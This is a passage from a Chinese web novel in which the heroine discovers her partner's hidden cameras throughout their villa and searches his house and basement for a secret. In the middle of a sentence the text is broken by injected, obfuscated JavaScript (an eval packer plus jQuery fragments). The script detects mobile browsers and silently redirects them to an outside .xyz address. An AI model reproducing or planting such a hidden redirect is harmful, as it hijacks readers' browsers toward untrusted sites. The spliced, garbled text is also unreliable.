旁边还有几个英文标识的选项,她又点了一下,画面从客厅切换到前院。
画面依旧是静止不动的,看上去就像是截下来的图。
她等了几秒,注意到画面中似乎有小虫子在飞,这里地处偏远有很多树木草丛,有小虫子很正常。
不对劲的是,谷粒此刻才意识到,这不是截屏,而是监控画面,还是能看到实时画面的那种。
她按照顺序往下点,画面不断切换。
厨房、后院、客房、走廊........
监控画面几乎涵盖整个别墅。
她点到最后一个监控画面,从灰暗的环境中辨认出是她睡觉的卧室。
而床上似乎有黑影在蠕动,接着动作越来越大,有个身影从床上坐了起来。
谷粒立马意识到司亦观醒了,而且他正在穿外套,起身往房间外走。
他要出来了,要是被发现,就真的不好解释了。
她用了最快的速度关掉电脑,把电脑前的一切事物都恢复原状,装作从没有来过的样子。
司亦观不知道怎么就睡着了,他睡眠一向不好的,即使睡着了也会经常醒过来。
他醒来发现身侧的人不见了,他快速穿好衣服走出房间。
大半夜不在床上睡觉,去哪呢?
他拧动门把手,走出房间,走廊里静悄悄,静谧无声,一切事物都仿佛沉睡在黑夜中。
司亦观视线看向书房的方向,他放慢脚步,一步一步地走着,不让自己发出一点声音,站定在门前,轻轻抬手握住门把手,准备推门而入。
“你醒啦。”一声清脆的声音打破静寂已久的氛围,司亦观听到声音后,握住把手的手僵了一瞬,他看向声音的来源。
“啪——”
谷粒把走廊的灯打开了,四周瞬间大亮起来。
眼睛已经适应了黑暗,面对突然出现的光亮,两人都有些不适的闭上眼睛。
几秒之后,谷粒重新睁眼,她看到司亦观把挡在眼前的手臂缓缓放下,他的另一只手还紧握着书房门把手。
“你去哪了?”他看到她身后是楼梯,大致已经猜到了她从楼下上来,还是想问一下,想听她自己解释。
“我去喝水了,半夜醒来有些口渴。”她扭头看了眼楼下,他跟着她视线看去,发现餐桌上有一个白色杯子。
他每次清洗碗筷都会把桌面收拾干净,他不会允许白色杯子这么突兀出现在桌上。
“怎么一点动静都没有?”他刚才出来还特意等待了几秒,并未听到任何声响。
司亦观眸子漆黑一片,直勾勾望着她,看不出什么情绪,就连声音都是淡淡的。
“我怕吵醒你,所以声音很轻。”她故作淡定,装出什么都不知道的样子,其实后背已经冒出一层薄汗,关心询问他,“我是不是动静太大,把你吵醒了?”
他晦暗不明的眸子在她脸上停留,观察她脸上的每一个情绪变化,没发现什么不对的,不咸不淡地回答:“没有,我自己醒的。”
“你先睡吧,我还有点事。”他收回视线,拧开门把手,径直走入书房。
听到关门的声音,谷粒总算松了口气,她可是用了她这辈子最快的速度,还下楼倒了杯水来伪装。
幸好没被他看出来,蒙混过去了。
她离开书房之前把里面的东西都恢复原样,他就算进去了,应该也看不出来。
带着这份侥幸,躺着床上睡着了。
谷粒醒来时,脑袋还是迷糊的,于是哼哼唧唧翻了个身想继续睡。
她翻过身,面对着阳台的方向,和一双炙热的视线对视上。
视线的主人,坐在小沙发上,一只手端着茶杯,另一只手里拿着一本书。
谷粒认出书的名字,是她昨天从地下室里拿出来的,现在正在司亦观手里。
与司亦观视线对上的那一刻,谷粒的睡意全无,立马清醒了,她唰的一下坐起来,拿起外套套在身上,遮盖因穿着吊带睡衣而暴露在空气中的肌肤。
“昨晚休息的怎么样?”他问,注视的目光将她的动作全部看在眼里。
“挺好的,你昨晚还是睡在书房?”谷粒下床起身。
“嗯。”
他收回视线,看向手中的书。
谷粒从他身边经过,瞄了他一眼,注意到他流畅的下颚线,以及白皙的皮肤和高挺的鼻梁,双眼隐在碎发之下,看不清眼底的神情。
司亦观长得不错,这一点她一直都很清楚,加上这种畸形的病娇属性,显得他苍白的脸,异常贴合病娇人设。
谷粒下楼后,发现桌上已经为她准备好了一份早餐,司亦观还在房间里,并未跟着她一起下来。
她边吃边思考接下来的计划,书房全部都找过了,并没有找到所谓的暗室,更别提什么按钮。
要说唯一的收获,那就是发现司亦观电脑里的监控画面。
他居然在别墅里的每个角落里都按照了摄像头,要不是看到画面,她简直不敢相信。
她抬头看了四周的天花板,哪里有摄像头存在的痕迹,装的一定是不容易被发现的隐形摄像头。
谁会在自己家里装这种东西,还装的到处都是,也就这样司亦观这个变态了。
她边吃边忍不住吐槽。
唯一怀疑的书房也找遍了,其他地方她早就找过了,根本没有任何能隐藏秘密的地方。
任务里所谓的秘密到底指的是什么?
谷粒咬着筷子陷入沉思中,连个大致方向都没有,这和大海捞针没什么区别。
“在想什么?”身后突然冒出声音,把正在沉思的谷粒吓了一跳。
她扭过头看到站在身侧的司亦观,正垂着脑袋好整以暇地盯着她,嘴角弯起一丝弧度,看上去似笑非笑的模样。
谷粒根本没有听到一点动静,从楼上下来也有几十步的距离,怎么可能一点声音都没有,他难道是幽灵吗?
不用走路,直接飘下来,所以才一点声音都没有,还总是悄无声息出现在你身后,突然冒出一句话。
这样真的很吓人的好吗,她已经被吓到好几次了,要是这样下去,她的心脏迟早要出毛病。
“你走路怎么都没有声音啊?”她吐槽。
“有哇,可能是你思考太专注,所以没有注意到吧。”
他在她旁边的椅子上坐下,神情自然,脸上挂着淡淡的笑意,看上去是个和谐好相处的人。
谷粒虽然不太了解病娇,但她确定的是,他展现出的和善举动都是伪装,其实真实的性格一定要冷血残忍的多。
她只希望自己不要惹恼他,然后被关小黑屋,她要在他暴走之前,赶紧找到他的秘密。
“距离一周年纪念也没几天了,你有想好送我什么礼物吗?”谷粒主动寻找话题。
听到送礼物,司亦观嘴角弧度上扬几分,显然是对这个话题很感兴趣。
“有啊,我想你一定会很喜欢的。”他语气透着自信,真诚的目光与她对视,好似对她的一切都很了解。
“那就好,我还在准备你的礼物,这几天你就别老跟着我了,礼物被提前知道,就没有惊喜感了。”
谷粒特意寻找了这个理由,就是为
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272111|182354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了支开他,让他别跟个幽灵一样时不时出现在身后,也能有时间去完成任务。
“好,我很期待你的礼物。”司亦观面露愉悦,心情很不错,期盼收到她的礼物。
谷粒见司亦观又去书房,就开始思考该去哪里寻找秘密。
地面上的地方都找过了,地下室可还没有。
监控画面的内容几乎涵盖这里的一切地方,唯独少了一处。
就是地下室。
她没有见到地下室的监控画面,那里应该隐藏了什么,所以他没有安装摄像头。
谷粒回房间拿上几本书,佯装要去换书的样子进入电梯。
她不知道司亦观是不是一直盯着监控画面看,但他一定会看,所以还是要装的像一点比较好。
地下室依旧亮着灯,不知道是不是从不关的原因,有一颗灯泡坏了,一闪一闪的忽明忽暗,谷粒走在寂静的地下室里,鞋子与地面发出摩擦声,细微声音被无限放大,回荡在耳边。
谷粒有几个瞬间觉得自己像是恐怖片里的主角,突然坏掉的灯泡,细微的声音充斥着四周,总感觉身后有人跟着自己。
猛的回头看,却什么都没有。
还好她胆子不小,不怕这些,现在唯一害怕的就是怕司亦观突然出现。
谷粒现在无比庆幸自己聪明的脑袋,昨天走之前,她问司亦观要了密码,输入密码读书室的门开了,她把带来的书塞回去,随手又抽了几本书。
就算她被司亦观看到,也能那这个当借口。
她在读书室里走来走去,并未发现可疑的地方,除了书架就是书,这里根本不可能藏什么东西。
地下室很大,除了几辆车子,她发现还有一间看上去很可疑的小屋子。
小屋子很小,出现在地下室很突兀,像是被人从其他地方突然放到这里的,小屋子四周用红砖砌成,外面仅仅涂抹一层水泥,有的地方没有抹均匀,露出里面红色的砖体,和周围的白色墙面格格不入,看上去像是后来才搭建的。
小屋子只有一扇门,还是铁门,门上挂了一把铁锁。
谷粒拽了几下,锁来回晃动敲打在铁门上,发出阵阵轰鸣声,十分刺耳。
她觉得很奇怪,地下室里出现一个奇怪的小屋子,还锁了这么大一把锁,很难不让人多想。
这里面究竟有什么,值得司亦观上锁,还是那种需要钥匙的老式铁锁。
她在门口徘徊了一会,现在她没有办法开锁,只能先回去等待时机,找工具把锁砸开。
“怎么叹气?”
清晰明亮的声音从谷粒身后发出,隐约带着几分笑意。
谷粒完全沉浸在自己的思绪里,被他这一句声音吓得整个人抖了一下,缓了好几秒才缓过来,她拍了拍胸口安抚自己受伤的小心脏。
她真的低估了司亦观,他还真的是神出鬼没,在地下室出现也能悄无声息的,做到一点声音都没有,然后突然在你身后说一句话,把你吓得话都说不出来。
谷粒扭头去看他,不管她什么时候去看他,脸上始终带着淡淡的笑意,只有谈论感情,询问她喜不喜欢他,爱不爱他时,脸上才会流露不一样的神情。
“你怎么总是这样?一点声音都没有,你是想吓死我吗?”她因为惊吓声音不自觉大了些,脸上的情绪完全展露。
他抬手去抚平她微皱的眉,面对她恼怒的样子,心也跟着软了。
语调不由得放慢放低,他抿了抿唇,目光跟随指尖一次次抚平她皱起的眉,有些不知所措的眨着眼,嘴唇翕动,很抱歉地说:“对不起,吓到你了,以后不会了。“